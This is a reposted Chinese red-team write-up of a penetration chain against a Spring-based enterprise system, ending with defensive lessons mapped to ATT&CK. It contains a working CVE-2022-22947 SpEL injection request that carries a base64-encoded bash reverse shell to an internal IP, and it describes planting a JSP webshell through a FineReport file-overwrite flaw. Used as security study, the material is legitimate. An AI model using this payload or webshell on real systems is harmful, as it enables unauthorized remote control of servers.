一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

admin 2025年7月9日01:41:41评论3 views字数 1824阅读6分4秒阅读模式

扫码加圈子

获内部资料

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅
一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。

文章作者:AlbertJay

文章来源:https://www.freebuf.com/articles/defense/437259.html

从低权限账户到域控的Spring生态渗透之旅 

前言

攻防对抗中,红队的核心优势在于将看似孤立的脆弱点串联为致命攻击链。本文记录的实战案例始于一个被99%安全审计忽略的前端硬编码漏洞,却终结于核心业务系统的全面沦陷——这印证了ATT&CK框架的核心原则,防御失效往往源于薄弱环节的连锁反应。

0x01 缘起:一个被忽视的前端硬编码

在一次攻防演练实战中,作为红队成员,我在某企业业务系统的登录页面按下了F12。在Webpack打包的前端代码中,发现了一段令人咋舌的注释:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

利用硬编码的凭证成功登录后台,但该账号仅有基础查看权限。常规漏洞扫描(SQL注入/XSS/文件上传)无果。

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

却在访问错误路径时发现了关键线索:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

Spring Boot特征!立即启动目录扫描:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

结果如下:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

0x02 突破口:Druid监控与Heapdump分析

扫描发现存在Druid,尝试弱口令登录Druid后台成功(企业常见配置失误)。在SQL监控页面发现内网数据库地址:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅
一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅
一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

更关键的是,heapdump文件可直接下载。使用Eclipse Memory Analyzer解析:

  1. 搜索关键词:password、secret、redis
  2. 定位springframework.cloud.gateway.route.RouteDefinition对象
  3. 发现内网配置:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

0x03 致命一击:Spring Cloud Gateway RCE(CVE-2022-22947)

网关的/actuator/gateway/routes端点暴露且无鉴权

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

符合CVE-2022-22947漏洞条件:

  • 影响版本
    :Spring Cloud Gateway < 3.1.1 或 < 3.0.7
  • 利用原理
    :恶意SpEL表达式注入路由过滤器

攻击步骤

POST /actuator/gateway/routes/shell HTTP/1.1  Host: xx.xx.xx.xx Content-Type: application/json{"filters": [{"name""AddResponseHeader","args": {"name""Result","value""#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream()))}"}}],"uri""http://example.com"}

实战如下:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

刷新路由触发执行成功获取Shell

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

0x04 权限固化:某报表平台文件覆盖漏洞

虽然已获得远程命令执行,但需要持久化控制。回到登录页面查看web路径发现该系统使用某软报表系统FineReport V9特征:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

利用svg初始化漏洞覆盖尝试写入文件,可以看到写入成功

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅
一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

利用结果构造执行命令,再次上传jsp文件,访问/svg.jsp?cmd=ifconfig成功执行系统命令

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅
一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

植入Webshell实现持久化

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

提权获取root权限

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

0x05 攻击链全景

完整攻击路径:

一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

结语

本案例的攻陷路径映射到ATT&CK框架,暴露出企业防御的深层缺陷:

凭证管理失效:硬编码凭证→弱口令复用→数据库密钥泄露的连锁反应,暴露了凭证生命周期管理的全面失控;

内生安全机制缺失:Spring Cloud Gateway未修复漏洞(CVE-2022-22947)与暴露的Actuator端点,证明“默认安全”配置的全面失效;

威胁传导盲区:从Druid监控系统到报表平台(FineReport)的权限跃迁,揭示供应链漏洞如何成为横向移动的“隐形桥梁”。

原文始发于微信公众号(神农Sec):一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日01:41:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次红队实战案例分享:从低权限账户到域控的Spring生态渗透之旅https://cn-sec.com/archives/4233297.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息